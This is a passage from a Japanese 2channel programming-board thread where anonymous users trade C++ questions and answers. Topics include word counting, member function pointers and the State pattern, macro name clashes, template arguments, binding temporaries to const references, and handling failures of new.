NGNG2.文章入力
3.2の文章に1の単語がいくつはいってるか報告
どなたかこのプロフラミングしてください!ほんとお願いします。
C++
0177デフォルトの名無しさん
NGNG>プロフラミングしてください!
ここにそれを行える技術者は一人もいないと思われ。
0178デフォルトの名無しさん
NGNG文字列の入力方法は知っているか?
入力される単語は1つか、複数か?
入力される文章は1つか、複数か?
どうせ宿題の期限が近づいたんだと思うが。
0179ヘルプ!
NGNGそうなんです!課題提出しなきゃいけないんです!
>入力される単語は1つか、複数か?
単語はひとつです!
>入力される文章は1つか、複数か?
これもひとつです!
どうかお願いします!
0180デフォルトの名無しさん
NGNGcin >> str;
cin >> sentence;
string::size_type n = 0, i = 0;
while((i = sentence.find(str, i + 1)) != string::npos)
n++;
0181デフォルトの名無しさん
NGNGやっぱり俺はC++が生理的に受け付けない。
う〜む。
0182デフォルトの名無しさん
NGNGじゃ余計なところで区切られるか。
getline(cin, str);
getline(cin, sentence);
で。
0183ヘルプ!
NGNG0184デフォルトの名無しさん
NGNGhttp://pc.2ch.net/test/read.cgi/tech/1020785918/
0185デフォルトの名無しさん
NGNG終わってからレスするな
余計なレスが一つ増える
0186デフォルトの名無しさん
NGNGこれも無駄レスだと思う罠。
0187デフォルトの名無しさん
NGNG追加の試験もしてみました。162,163の言われている通りの気がしてきました。
自クラスをバッファの型にキャストしないでも可変数引数が動くようにしてる。
ただその代償に仮想関数が使えなくなってるのか。
可変数引数マクロは型が固定でないので
(キャスト演算子を定義しても)型の整合性による暗黙の型変換が起こらない。
==127が動かなかった
#include <stdio.h>
#include <stdarg.h>
struct A {explicit A(const char *a) : buf(a) {}
~A() {}
const char *buf;};
struct B {explicit B(const char *a) : buf(a) { }
virtual ~B() {}
const char *buf;};
template<typename T> struct CT :public T{
CT(const char *a)
:T(a){}
~CT() {}
operator const char*() const{return (static_cast<const T&>(*this)).buf;}
};
template<typename T> struct CTV :public T{
CTV(const char *a)
:T(a){}
virtual ~CTV() {}
operator const char*() const{return (static_cast<const T&>(*this)).buf;}
};
int main() {
A a("test"); B b("test");printf("offsetof(A::buf) == %08X\noffsetof(B::buf) == %08X\n", (char *)&a.buf-(char *)&a, (char *)&b.buf-(char *)&b);
CT<A> nn("Test");const char *c_nn = (const char*)(nn);
CTV<A> nv("Test");const char *c_nv = (const char*)(nv);
CT<B> vn("Test");const char *c_vn = (const char*)(vn);
CTV<B> vv("Test");const char *c_vv = (const char*)(vv);
//N-N
printf("(N-N): offsetof(A::buf) == %08X \n", (char *)&nn.buf-(char *)&nn);
printf("(N-N): sizeof(nn) %d \n", sizeof(nn));
printf("(N-N): _ADDRESSOF((const char*)(nn)) - _ADDRESSOF(nn) == %d \n",_ADDRESSOF(c_nn) - _ADDRESSOF(nn));
printf("(N-N): _SLOTSIZEOF((const char*)(nn)) - _SLOTSIZEOF(nn) == %d \n",_SLOTSIZEOF(c_nn) - _SLOTSIZEOF(nn));
//N-V
printf("(N-V): offsetof(A::buf) == %08X \n", (char *)&nv.buf-(char *)&nv);
printf("(N-V): sizeof(nv) %d \n", sizeof(nv));
printf("(N-V): _ADDRESSOF((const char*)(nv)) - _ADDRESSOF(nv) == %d \n",_ADDRESSOF(c_nv) - _ADDRESSOF(nv));
printf("(N-V): _SLOTSIZEOF((const char*)(nv)) - _SLOTSIZEOF(nv) == %d \n",_SLOTSIZEOF(c_nv) - _SLOTSIZEOF(nv));
//V-N
printf("(V-N): offsetof(B::buf) == %08X \n", (char *)&vn.buf-(char *)&vn);
printf("(V-N): sizeof(vn) %d \n", sizeof(vn));
printf("(V-N): _ADDRESSOF((const char*)(vn)) - _ADDRESSOF(vn) == %d \n",_ADDRESSOF(c_vn) - _ADDRESSOF(vn));
printf("(V-N): _SLOTSIZEOF((const char*)(vn)) - _SLOTSIZEOF(vn) == %d \n",_SLOTSIZEOF(c_vn) - _SLOTSIZEOF(vn));
//V-V
printf("(V-V): offsetof(B::buf) == %08X \n", (char *)&vv.buf-(char *)&vv);
printf("(V-V): sizeof(vv) %d \n", sizeof(vv));
printf("(V-V): _ADDRESSOF((const char*)(vv)) - _ADDRESSOF(vv) == %d \n",_ADDRESSOF(c_vv) - _ADDRESSOF(vv));
printf("(V-V): _SLOTSIZEOF((const char*)(vv)) - _SLOTSIZEOF(vv) == %d \n",_SLOTSIZEOF(c_vv) - _SLOTSIZEOF(vv));
return 0;
}
0188デフォルトの名無しさん
NGNG0189デフォルトの名無しさん
NGNGん?
0190よっし〜
NGNG自前で関数ポインタの中身を切り替えて処理すれば良いんだけど、
vtableが使えるんだったそっちの方がスマートかなぁって・・・そうでもないか?
0191デフォルトの名無しさん
NGNG0192デフォルトの名無しさん
NGNG何をやりたいのか、意味がわからん…。『vtableをプログラム実行中に書き換える』って、
それがまさにオーバーライドっちゅうもんじゃないの? 継承じゃ処理できないことなんか?
0193デフォルトの名無しさん
NGNG0194デフォルトの名無しさん
NGNG0195よっし〜
NGNG>>191
> 実装依存だから
そうかー。自分の知らない間に新仕様とか出てないかなーと思ったんだけど...
>>192
オーバーライドは継承クラス毎にポインタを持っているけど、
自分がやりたいのは、クラスはそのままで、状態遷移的に処理を分岐させたいのだ。
class MyClass {
virtual void Func(void) = 0;
void _FuncA(void){ putchar('A'); }
void _FuncB(void){ putchar('B'); }
void _FuncC(void){ putchar('C'); }
void ChgFunc(void);
};
void MyClass::ChgFunc(void)
{
this->Func = _FuncA;
Func();
this->Func = _FuncB;
Func();
this->Func = _FuncC;
Func();
}
<< 実行結果 >>
ABC
こんな感じ...純粋仮想関数なんでこのままだとインスタンスが作れないけど、概念だけ汲み取ってくれれば...
>>194
Bridge Patternか〜、今度調べてみます。
んでも、そんなに大げさにするつもりでもなかったんだけどね。
ところでデザインパターンの本て、実装例がJavaである事が多いですよねぇ。
C++で解説してる物って無いかな?
なけなしの小遣いはたいて買った本が、Eiffelとかいう訳わからん言語で記述されてて、大失敗でした。
0196デフォルトの名無しさん
NGNG簡単すぎ
0197デフォルトの名無しさん
NGNG0198195 じゃねーけど
NGNG> 概念だけ汲み取ってくれれば...
日本語ぐらい、汲み取ってくれ。
0199デフォルトの名無しさん
NGNGGoFはC++とSmalltalkだが?
0200デフォルトの名無しさん
NGNG一番しっくり来る話なんだろうけど…。
http://www11.u-page.so-net.ne.jp/tk9/ys_oota/mdp/State/index.htm
ひとつのクラスで収めるなら、こういう実装が一番か?
class Hoge {
typedef void (Hoge::*FUNC)(void);
FUNC func_;
public:
Hoge() : func_(FuncA) {}
void FuncA(void){ putchar('A'); func_=FuncB;}// 呼び出されたら状態遷移する。
void FuncB(void){ putchar('B'); func_=FuncC;}
void FuncC(void){ putchar('C'); func_=FuncA;}
void Call(void){
(*func_)();
}
};
もしくは、メンバ関数をテーブル化して、呼び出す関数の番号を
状態として持つか。
http://www1.odn.ne.jp/synsyr/prog_cpp0.html
スマン。『抽象クラスである』って部分はまるで考慮してない。
というか、この辺の話をすでに分かってて、『vtableでスマートに
いけんか?』ってことなのか。だったら力にはなれんわ。
0201200
NGNG0203sage
NGNG教えてください。Modern C++ Design 5章読みましたが
さっぱりわかりません。
0204デフォルトの名無しさん
NGNG例えば、
struct Show {
void operator()(int i) const {
cout << i << ' ';
}
};
と定義しておいて、
vector<int> v;
......
for_each(v.begin(), v.end(), Show());
のように使える。
C++標準ライブラリのP136〜137に次のような項目があります。
1.関数オブジェクトはスマート関数である。
2.関数オブジェクトはそれぞれ型を持つ。
3.関数オブジェクトは、たいていは通常の関数より高速である。
0205デフォルトの名無しさん
NGNG0206デフォルトの名無しさん
NGNGそれだと、現在のFuncが何なのか常に把握しないといけないし、
スレッドセーフじゃない。
this->Func = _FuncA;
としているが、C++の場合、型チェックが一致しないとコンパイルもできない。
ということで
普通にメンバ関数ポインタ使ったほうが安全な気がする。
人工知能の実験とかだったらそれもありかもしれん。
メンバ関数ポインタは型チェックが厳しいのでtemplateと併用した方が吉。
0207マクロ逝ってよし
NGNG宣言しているのですが(よくやりますよね?)
某ライブラリと組み合わせるときそのライブラリのヘッダで
#define min(...) とマクロ宣言されちゃってました。
それでウチのクラスなどの宣言 min(... がすべて置換されてぐちゃぐちゃになり
パースエラーが出まくって困っています。
こんなときどうしたら良いでしょうか?
マクロ置換はネームスペースも無視しまうのでしょうか?
0208デフォルトの名無しさん
NGNGそりゃそうでしょ。マクロ置換はC++の文法無視だから。
0209デフォルトの名無しさん
NGNGC++で#define使ってる某ライブラリとやらが悪い。
0210デフォルトの名無しさん
NGNG#undef min
#endif
を自前の min 宣言の前につっこんどけ。
0211デフォルトの名無しさん
NGNG#undef min
の一行で十分でわ?
0212デフォルトの名無しさん
NGNGどうすべきかね?(テンプレートでもinline関数でも代用できないとして)
#define __min(...) ってふうに、アンダーバー付けとくべき?
0213デフォルトの名無しさん
NGNG>テンプレートでもinline関数でも代用できないとして
例えば?
0214212
NGNG『例えば?』って聞くって事は、『そんなことは具体例が出るまでは考える必要はない』ってこと?
/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
| 実際に切羽つまるまで、ほったらかしにする、と…
\
 ̄ ̄ ̄|/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
∧_∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
( ・∀・) ∧ ∧ < ソンナコト言ってないでしょ!!
( ⊃ ) (゚Д゚;) \____________
 ̄ ̄ ̄ ̄ ̄ (つ_つ____
 ̄ ̄ ̄日∇ ̄\|ThinkPad|\
 ̄ ========= \
0215デフォルトの名無しさん
NGNG代用できないマクロの具体例は、Modern C++ Design 57ページ、『タイプリスト生成の単純化』でどうよ?
0216デフォルトの名無しさん
NGNG頭にアンダースコアを付けるのはまずいっしょ。オレなら MYLIB_MIN とか、
とにかく他とはバッティングせず、一目でマクロとわかる名前を付けるな。
0217デフォルトの名無しさん
NGNG0218デフォルトの名無しさん
NGNG全部大文字で書け。
0219デフォルトの名無しさん
NGNG渡せないという仕様になっているのはなぜ? たとえば
template< char *Ptr> class Hoge { … };
があったとき、Hoge< NULL > はコンパイルできないんですが。
0220デフォルトの名無しさん
NGNGでも、そんなマクロは使いたくない。
0221デフォルトの名無しさん
NGNGNULLの型がchar*として定義される実装ならそれで通るんじゃないの?
もし
#define NULL 0
とかだったら template<int> Hoge ... が無いから、そりゃ当然エラー。
0222デフォルトの名無しさん
NGNGなぜなら NULL は 0 に置換されて、0 は int なので。
なぜ暗黙にヌルポインタに変換されないのかは知らんけど。
Hoge<(char*)NULL> とすればコンパイル出来ます。
0224219
NGNGあり? g++ 3.0.4 ではコンパイルできませんでした。
`0' is not a valid template argument
it must be the address of an object with external linkage
というようなエラーが出ます。
0225デフォルトの名無しさん
NGNG0226221
NGNGVC++ と Bcc では通った。ただし VCはHoge<NULL>でも通ってしまう。
DigitalMarsは内部コンパイラエラー。gcc は2.95でもダメだた。
つーか Hoge<"aaaa"> とかすらコンパイルエラーになると
思うんだけど、char*を取るtemplateってどうやって使うものなん?
0227デフォルトの名無しさん
NGNG14.3.2 Template non-type arguments
1- A template-argument for a non-type, non-template template-parameter shall be one of:
以下略。
an integral constant-expression of integral or enumeration type に該当しそうな気もするんだけど、しないのかもしんない。ポインタは integral ではないのかな。ないのかも。
>>226
>つーか Hoge<"aaaa"> とかすらコンパイルエラーになると
それは、はっきり書いてある。
-2- A string literal is not an acceptable template-argument because a string literal is an object with internal linkage.
引用元 www.kuzbass.ru/docs/isocpp/template.html
0228デフォルトの名無しさん
NGNGなんでみんなRubyを貶すのかなー?
もしかして劣等感?僻んでる?
日本発の言語で世界に評価されているのはRubyしか存在しないんだから
みんなでRubyを盛り上げてC++やDelphiなんて、プププのプーってぐらいに
しなきゃ。
実際今まで10年ぐらいプログラミングしてきた俺だけど、Rubyより優れた
言語に出会った事がないよ。
やっぱり新しい言語は優れているんだろうね。
0229デフォルトの名無しさん
NGNG>>やっぱり新しい言語は優れているんだろうね。
そんなあなたにはC#をお勧めします(藁
0230221
NGNGそう、だから template<char*> って一体いかなる使い道があるのかと思って。
char c;
int main() {
Hoge<c> aaa;
...
}
なんてのは嫌ぞ。
0231221
NGNG○ Hoge<&c> aaa;
0232デフォルトの名無しさん
NGNGHoge<p> は通るみたい。
0233219
NGNGg++ では通りませんでした。char p[] = "ABC"; なら通ります。
C++ の仕様的には、>>224 に出てるエラーが言ってるように、
「外部リンケージを持つオブジェクトのアドレス」、つまり定数でなくては
なりません。
232 の p は変数なので、まあ通らないのは仕方がないかとも思うんですが、
定数である (char *)0 くらいはコンパイルできてもよいんじゃないかと。
元々は次のようなコードを書きたかったのです。
template<class X, const char *Name> class Hoge {
public:
void printName() {
if (Name) {
cout << Name << endl;
} else {
cout << typeid(X()).name() << endl;
}
}
};
0234よっし〜
NGNGStateパターンぐらい知ってるなもし。
>> 206
> スレッドセーフじゃない
そうかー、仮想関数って全インスタンスで共通だもんね。なるほどなるほど。
> 現在のFuncが何なのか常に把握しないといけないし
「glBegin 〜 glEnd」のような感じで使うので、これに関してはそれでも良いのでした。
そうゆう意味では、「状態遷移」という表現は不適切だったカモ。
0235219
NGNGchar dummy;
template<class X, const char *Name = &dummy> class Hoge {
public:
void printName() {
if (Name != &dummy) {
[以下略]
とやることで凌ぎました。
0236デフォルトの名無しさん
NGNGそれって、const char *Name は printNameの関数引数にしちゃいかんの?
なんでわざわざテンプレート引数にする?
0237デフォルトの名無しさん
NGNGprintName() 呼び出す度に、引数指定したくないからだろ。
適当なメンバ変数作っといて、インスタンス生成する時に指定すりゃ
いいと思う。
0238デフォルトの名無しさん
NGNG吐かれた.exeファイルをエクスプローラのプロパティで見たときに表示される
「バージョン情報」に情報を書き込むにはどうすればよいのでしょうか?
たぶんテキストのリソースを作るのでしょうけど、方法と書式が…。
「バージョン情報」タブを非表示にさせる方法もあれば、お願いします。
0239デフォルトの名無しさん
NGNG氏ね
0240238
NGNGC#スレに書き直します…。
0241デフォルトの名無しさん
NGNG> NULLの型がchar*として定義される実装ならそれで通るんじゃないの?
その実装は ANSI C++ に準拠してませんな。
0242デフォルトの名無しさん
NGNGとても分かりやすい説明 ありがとうございました。
亀レススマソ
0243名無しさん
NGNGclass T
{
int n1;
int n2;
public:
T():n1(0),n2(0){}
T(int i,int j):n1(i),n2(j){}
};
なんていうクラス定義からオブジェクトを生成するとき
T obj; //デフォルトコンストラクタ
T obj(10,20); //引数付きコンストラクタ
としますが、以下の記述も文法上正しいのでしょうか?
T obj = T();
T obj = T(10,20);
0244デフォルトの名無しさん
NGNG試せばいいものをわざわざ聞きに来るなよぅ。
基本的にはだめ。
でも
T2 obj=3;
とかは許容されてたりする。
T2(int)
扱い。
0245名無しさん
NGNGbool値に変換され、解釈される仕組みが分かりません。
どなたかご存知でしょうか?これって常識ですか?
0246デフォルトの名無しさん
NGNG常識です(笑)
適当にC++の入門書開いてiostreamについての説明を読むがよろし
0247名無しさん
NGNGどうもです。
ごもっともなんですが。。
実は、BCC5.5.1で試したところコンパイルできたので、
これも正しいのかなと思い、いろいろ本を見たのですが、
見つからなかったもので。文法上は駄目なんですね。
使わないことにします。
0248デフォルトの名無しさん
NGNGcinには変換関数 bool() が定義されているんじゃない?
0249デフォルトの名無しさん
NGNGclass T
{
int n1;
int n2;
public:
T(int i = 0, int j = 0) : n1(i), n2(j){}
};
のようにすると簡単になります。この場合でも()と書くとエラーです。
0250デフォルトの名無しさん
NGNGOKなのでは?
0251デフォルトの名無しさん
NGNG駄目じゃないって。
>>249
これも。
さらに
int a = int();
と書くと0で初期化される。
0252デフォルトの名無しさん
NGNGコピーコンストラクタが使われる。試しに class T に、
private: T( const T& );
を追加してコンパイルしてみるとよい。
>>248
operator void *() じゃなかったかな。直接 bool に変換しちゃうと、
いろいろ問題が発生するはず。
0253デフォルトの名無しさん
NGNGVC++でこんなログを残してプログラムが終了します。
初心者なのでどういう意味かわかりません。
どうしたら、回避できるのでしょうか...
ちなみにDirectSoundのセカンダリバッファをリリースしたところで
発生します。
0254デフォルトの名無しさん
NGNGcinはistream型でistreamはtypedef basic_istream<char, char_traits<char> > istream;。
basic_istreamはbasic_ios<E, T>をvirtual public で継承している。
basic_iosには operator void *() const;が定義されていて、これはbasic_ios::fail()がtrueの場合
nullポインタを返す。
basic_isreamのoperator>>の返り値はbasic_istream&でこれがvoid*に変換されて最終的には
basic_ios::operator void*()が呼ばれる。
0255デフォルトの名無しさん
NGNGheap block の意味は分かる? at 〜 というのはアドレスを表している。
そして、past 〜 は、「〜を過ぎたところで」という前置詞だ。さあ、
少し頭を使ってメッセージの意味を考えてみよう。
0256254
NGNG0257名無しさん
NGNG>>252
コピーコンストラクタをprivateにするとコンパイル
できないので、コピーコンストラクタが呼ばれてるこ
とがわかりました。結局、
T obj = T();
とした場合、まずクラスTのデフォルトコンストラクタが
呼ばれて一時オブジェクトが作成され、この一時オブジェクト
がコピーコンストラクタの引数に使われて obj が初期化
されるということですね。わかりました。皆様ありがとう
ございました。
0258デフォルトの名無しさん
NGNGなら一時オブジェクトの寿命がのびてもっといい
0259デフォルトの名無しさん
NGNGふつう、const が必要にならないか?
0260デフォルトの名無しさん
NGNG0261デフォルトの名無しさん
NGNGポインタだけ付け替えて並び替えた方が速い。
0262いさましいおsageの女の子
NGNGどうやるの?
http://pc.2ch.net/test/read.cgi/tech/1022499000/
0263デフォルトの名無しさん
NGNGンなこと出来たっけ!?
0264デフォルトの名無しさん
NGNGデバッグのときだけ、メッセージを表示させたいんです。
たとえば、
#ifdef __DEBUG
#define cdbg std::cerr
#else
#define cdbg cnull //cnullが何も表示しないストリーム
#endif
として、
cdbg << "Debug Message" << std::endl;
みたいな感じで使いたいんです。
自分で書いてもみたんですが、
gcc-2.xxでないとコンパイルが通らない(gcc-3.xxだとダメ)という
ヘタレコードしか書けませぬ。
とにかくデバッグ時にだけメッセージを表示させたいのですが、
なにかいいアイデアなどありませんでしょうか?
0265デフォルトの名無しさん
NGNG0266デフォルトの名無しさん
NGNG0267デフォルトの名無しさん
NGNGa.out > /dev/null
test.exe > nul
0268デフォルトの名無しさん
NGNG0269デフォルトの名無しさん
NGNGclass cnull{
public:
template <typename T>
cnull& operator<<(T t) {return *this;}
};
0270269
NGNG0271デフォルトの名無しさん
NGNG0272デフォルトの名無しさん
NGNGconst な参照は一時オブジェクトを束縛することができる (標準仕様)。
VC++ だと const でない参照でも OK みたいで、次のようなコードも
コンパイルできてしまう。
struct X { int i; };
void foo( X& x ) { x.i = 0; }
int main() {
foo( X() );
return 0;
}
たしかに一時的なワークスペースとして使うぶんには便利かもしれんが、
バグを引き起こしやすいし移植性も無くなるので止めてほしい。
0273デフォルトの名無しさん
NGNG>void foo( X& x ) { x.i = 0; }
>int main() {
>foo( X() );
>return 0;
>}
これは一つの式内だから標準仕様でもいいはず
X &x = X() ;
は
const X &x = X() ;
でなければ一時オブジェクトが
束縛されることを保障されないはず
bcc 5.6で試したらX &x=X();も
異常な動作はしなかったけども
0275デフォルトの名無しさん
NGNG> その参照がスコープから外れるまで?
そう。C++ 第3版 「5.5 リファレンス」のところに詳しく書いてあるよ。
0276デフォルトの名無しさん
NGNG{
int i, n;
puts("<html><title>(゚Д゚)</title><body bgcolor = black>");
for(n = i = 0;i < 0xffffff;i+=0xffff,n++)
printf("<font style = \"font:%02dpt; color:#%06X;\">(゚Д゚)</font>\n",n,i);
puts("</body></html>");
return 0;
}
0277デフォルトの名無しさん
NGNG0278デフォルトの名無しさん
NGNG{
int i, n;
for(i = 0;i < 10;i++)puts("<br>");
puts("<html><title>(゚Д゚)</title><body bgcolor = black><center>");
for(n = i = 0;i < 0xffffff;i+=0xffff,n++)
printf("<font style = \"font:%dpt; color:#%06X;\">(゚Д゚)</font><br>\n",n,i);
for(;i >= 0;i-=0xffff,n--)
printf("<font style = \"font:%dpt; color:#%06X;\">(゚Д゚)</font><br>\n",n,i);
puts("</center></body></html>");
for(i = 0;i < 10;i++)puts("<br>");
return 0;
}
0279デフォルトの名無しさん
NGNG成程!なんとなぁく理解したような気がしないでもない。
理解をさらに深めるために質問、例えばこんなのは出来るんでしょうか?
const A& a = i > 0 ? A(1) : A(0);
というか試してみろって感じですな。ではまた後ほど。
0280デフォルトの名無しさん
NGNG0281デフォルトの名無しさん
NGNGの意味を教えてくだされー
0282デフォルトの名無しさん
NGNG本 を 読 め
子 一 時 間 読 め
0283デフォルトの名無しさん
NGNG出来ましたです。こりゃ便利。この書き方は何かの時に役に立ちそう。
0284デフォルトの名無しさん
NGNG0285デフォルトの名無しさん
NGNG0286デフォルトの名無しさん
NGNGinlineは型チェック付きのマクロと思えばだいぶ近い。
0287デフォルトの名無しさん
NGNG0288デフォルトの名無しさん
NGNGVC6,VC7:
> const A& a = i > 0 ? A(1) : A(0);
コピーコンストラクタが呼ばれる(インスタンスは2回作られる)
> const A& a = A(1);
コピーコンストラクタは呼ばれない(インスタンスは1回作られる)
g++2.95.3,g++3.0.4:
> const A& a = i > 0 ? A(1) : A(0);
> const A& a = A(1);
コピーコンストラクタは呼ばれない(インスタンスは1回作られる)
gccのほうが偉い!
0289デフォルトの名無しさん
NGNG0290デフォルトの名無しさん
NGNGいままでも無意識にやってたんじゃないかと思うけど、関数からの戻値が
オブジェクトそのものの時とか、この書き方は必須だよね。こんな感じ。
class X { };
X foo() { x = X(); return x; }
int main() {
const X& x = foo();
}
0291デフォルトの名無しさん
NGNG0292デフォルトの名無しさん
NGNG0293デフォルトの名無しさん
NGNGshort& a;
short & a;
全部同じですか?
0294デフォルトの名無しさん
NGNGbool f;
int i = f ? 0 : 1;
でリファレンスが返ってくるのは、ちとイヤン
0295デフォルトの名無しさん
NGNGまともなコンパイラなら
X x = foo();
と書いてもほとんど処理内容は同じ。
0296デフォルトの名無しさん
NGNGshort&a; が抜けてる。
0297デフォルトの名無しさん
NGNGなんでそんなあいまいにしてあるんだろ?
0298デフォルトの名無しさん
NGNGああああ、C++10年目にして目からもろこが
0299デフォルトの名無しさん
NGNG0300デフォルトの名無しさん
NGNG0301デフォルトの名無しさん
NGNG0302デフォルトの名無しさん
NGNG戻り値最適化というやつですな。
0303デフォルトの名無しさん
NGNG処理が同じとは限らない
0304デフォルトの名無しさん
NGNG0305デフォルトの名無しさん
NGNG0306デフォルトの名無しさん
NGNG0307デフォルトの名無しさん
NGNG0308デフォルトの名無しさん
NGNG犯人像を空想すればいい
0309デフォルトの名無しさん
NGNG0310デフォルトの名無しさん
NGNG空想じゃなくて妄想ってこと?
0311デフォルトの名無しさん
NGNG0312デフォルトの名無しさん
NGNG真理だね(w
現実にそういう手段が取れるとは限らないのが現実だけど。
0313デフォルトの名無しさん
NGNG1 + 2
1+ 2
1 +2
1+2
どれも同じなのと一緒
0314デフォルトの名無しさん
NGNGint* a
と
int *a
の違いに悩んだっけ・・・(´∀` )
今から考えるとアフォだ。
0315デフォルトの名無しさん
NGNGint* a;の方が別の型っぽいし。
>>304
ループ、フォースの力を信じろ、ループ!
http://www.csl.sony.co.jp/person/fnami/pentopt.htm
0316デフォルトの名無しさん
NGNG0317デフォルトの名無しさん
NGNGint* p, i; でどつぼにはまる罠
リンク先面白そうなのでブックマークしたけどまだ世界が違いすぎる・・・
0318デフォルトの名無しさん
NGNGそのページ、百害あって一理なしだぞ
0319デフォルトの名無しさん
NGNG0320デフォルトの名無しさん
NGNG#include<iostream>
class B{
public:
void Hoge(int i){cout<<"hoge i="<<i<<endl;};
};
class A:public B{
public:
void Hoge(){cout<<"hoge"<<endl;};
};
main()
{
A a;
a.Hoge(5);
}
0321デフォルトの名無しさん
NGNG0322デフォルトの名無しさん
NGNGぅぉ・・・320じゃないけど知らなかったっす。
0323デフォルトの名無しさん
NGNGまあ、C++ やってる人は一度はこの問題にハマってると思う (w
0325デフォルトの名無しさん
NGNG大部分はツリーの把握ミスだったり、
単なる設計ミスだったり、あんまり良い行為とは言えないから
0326デフォルトの名無しさん
NGNG0327デフォルトの名無しさん
NGNG黙ってコンパイルを通すと、意図せぬ結果をもたらす可能性が高いものね。
発見しにくいバグよりは、明示的な宣言必須の方が有り難い。
(というのが C++ の思想なんだと思うよ)
0328名無しサンプリング@48kHz
NGNGオーバーライドしたいのですが、元のクラスのコンストラクタ
では引数を渡して初期化処理をしています。
その部分を元のクラスのままにしておきたいのですが
継承したクラスのコンストラクタはどのように書くべきでしょうか?
0329デフォルトの名無しさん
NGNG0330名無しサンプリング@48kHz
NGNG即効で出来ちゃーた…
ありがとうございます!
0331デフォルトの名無しさん
NGNGなんで cout が通らないんでしょうか。gcc 2.95 です。
独習C++ を読んでます。
#include <iostream.h>
main () {
int i;
cout << "abo-n\n";
}
0332デフォルトの名無しさん
NGNGどう通らないのか書いてほしいです。
プログラム板一同。
0333331っす
NGNG/tmp/ccSlq0KV.o: In function `main':
/tmp/ccSlq0KV.o(.text+0xf): undefined reference to `cout'
/tmp/ccSlq0KV.o(.text+0x14): undefined reference to
`ostream::operator<<(char const *)'
0334デフォルトの名無しさん
NGNG古いiostream.hは使わないようにしませう
0335デフォルトの名無しさん
NGNG0336デフォルトの名無しさん
NGNGnewが失敗したときにnullを返すのは時代錯誤もいいところ
と言っていたのですが、これ一般論ですか?
つまりnewするところは常に例外を補足するようにしろということ
ですよね?
でも慣れたプログラマでさえ完全に資源漏れが起きないように
例外処理を書くのが難しい現状では、ちょっと理想論ぽく聞こえ
るんですけど...。
手軽にやるには、if (!(Foo *foo = new Foo(...)))はまだ健在ですよね?
0337デフォルトの名無しさん
NGNGデータ用の変数にエラーを示す値を入れるのはおかしい。
って話じゃないの。
0338デフォルトの名無しさん
NGNGそんなあなたのために new(std::nothrow)
0339デフォルトの名無しさん
NGNGいまだかつてnew失敗に出くわしたことないんだけど。
0340デフォルトの名無しさん
NGNGFoo* foo = new Foo(...);
...
の方が遙かに手軽な罠
0341331っす
NGNGfind かけてみたところ出てきたのはこれだけでした。
/usr/include/g++/iostream.h 9675bytes
Copyright (C) 1993 Free Software Foundation
gcc のもっと新しいヴァーヂョン入れろちゅー事ですか?
>335
通ったァァァァァァッ
C++モードの時はこげなスイッチ必要だったんですか。
man gcc でみたら拡張子 C とか cc にすれば++モードになるみたいな
事書いてあったの鵜呑みにしてますた。ショックです。ありがとですた。
0342デフォルトの名無しさん
NGNGhttp://www.remus.dti.ne.jp/~seigo13/stl.html
0343デフォルトの名無しさん
NGNG>>340
いや、あの、私そこまで漢ができてないんですけど。
newって開発中は絶対0を返さないくせに、クライアントの前では
平気で0を返しますよね...
0344デフォルトの名無しさん
NGNGっていうかnewの失敗って回復できるの?
失敗をthrowしてプログラム終了するか
不正アクセスをthrowして終了するかの違いしかないような気が・・・
0345デフォルトの名無しさん
NGNGんん? new するたびにいちいち NULL かどうかを判定するより、
new handler を使ったほうがはるかに楽だと思うけど。
0346デフォルトの名無しさん
NGNGいや、そうじゃなくて。
例外をキャッチ出来ればそのまま不正として関数から抜けることも出来るし、
キャッチしなければ勝手に死んでくれるし、
0347デフォルトの名無しさん
NGNGNULLポインタ引きずってえらいことになるよりはスマートですわ。
0348デフォルトの名無しさん
NGNGgcc -o test test.cpp こうやってるに 26000knk
正しくは
g++ -o test test.cpp
0349デフォルトの名無しさん
NGNGまず回復できないと思ったほうがよいね。ただいきなりクラッシュしちゃうと
お客さんも怒るので、エラーハンドラで出来るかぎりのシャットダウン処理を
した後、何か言い訳じみたことを表示してから落ちると。
0350348
NGNG( ⌒ ヽ 。oO( もうお呼びでなかったのね… )
∪ ノ
∪∪
0351デフォルトの名無しさん
NGNGFoo* foo;
try {
foo = new Foo(...);
}
catch(std::bad_alloc) {
何かエラー
}
復帰及び処理続行
って考えてるのか?
try {
foo = new Foo(...);
処理続行
}
catch (std::bad_alloc) {
}
catch (何か) {
}
復帰できないエラーは後ろでいっしょくたにして処理する方がいいよ
0352デフォルトの名無しさん
NGNG…そんなコマンドがあったんですね。スイッチ書かないでいいんで
重宝するです。ありがとうです。cpp とか gpp なんてコマンド叩いて
みて無いナァと思ってたです。まさかまんまの名前とは。
ママはこんなこと教えてくれなかったYO。ウワァァン
0353336==343
NGNGまぁ、そういうことです。
趣旨としては、nullを返すことが時代錯誤というよりもbad_allocを投げない
ことが時代錯誤といいたいんでしょうけど。
>>345
new handlerは、operator newで自前のメモリ割り当てのフレームワークを
作りたいときには便利でしょうが、単純に特定のリソースの割り当てに
失敗したときに特定の処理を行いたいときには、いちいちset_new_handler()
しないといけないわけですよね。
でもって、
>>346
キャッチしないで自滅する前に、やはり書き込み中のファイルはフラッシュ
したいし、メッセージくらいは表示したいわけです。
あ、でもどうせ死ぬんだから例外処理をさぼってメモリリークもへったくれも
ないわけか...
0354デフォルトの名無しさん
NGNGまずは man gcc やれと、小
0355デフォルトの名無しさん
NGNG今時の仮想記憶を備えたシステムでnewが失敗するということはそうとうまずい事態で、
中途半端なクリーンアップ処理は余計に事態を悪化させる可能性があるんじゃないか?
0356馬鹿☆栗子
NGNGだけど、何度聞いてもコマンドライン引数がわかりません。
判っている所(argcはコマンドラインの数を取得する
:argvはコマンドライン引数のファイル名を格納する。)
あとMS−DOSのWIN98ぐらいのマニアルを読みました。
でも、まだわかりません。
そこで、人に聞いた過去ログをここに
掲載しておきます。 これを、もとに
まっと判りやすく 噛み砕いて
教えてください。 こんな、十度の馬鹿を
誰か助けて。
「のままVC++から実行してる
ならVC++ならmain引数を設定して
あげないといけないよ。
もしくは、DOSプロンプトで実行するか。
試して欲しいのはwin2000か
XPならcommand.com立ち上げて、
コマンドプロンプト
まずはわかりやすいフォルダを
Cドライブの直下に作って
そこにVC++で作った実行ファイルをコピー
そこに移動して(cd c:\temp)
a.exe file1 file2
そしたらif(argc!=3)は
入らないはず
で、できなかった原因は、
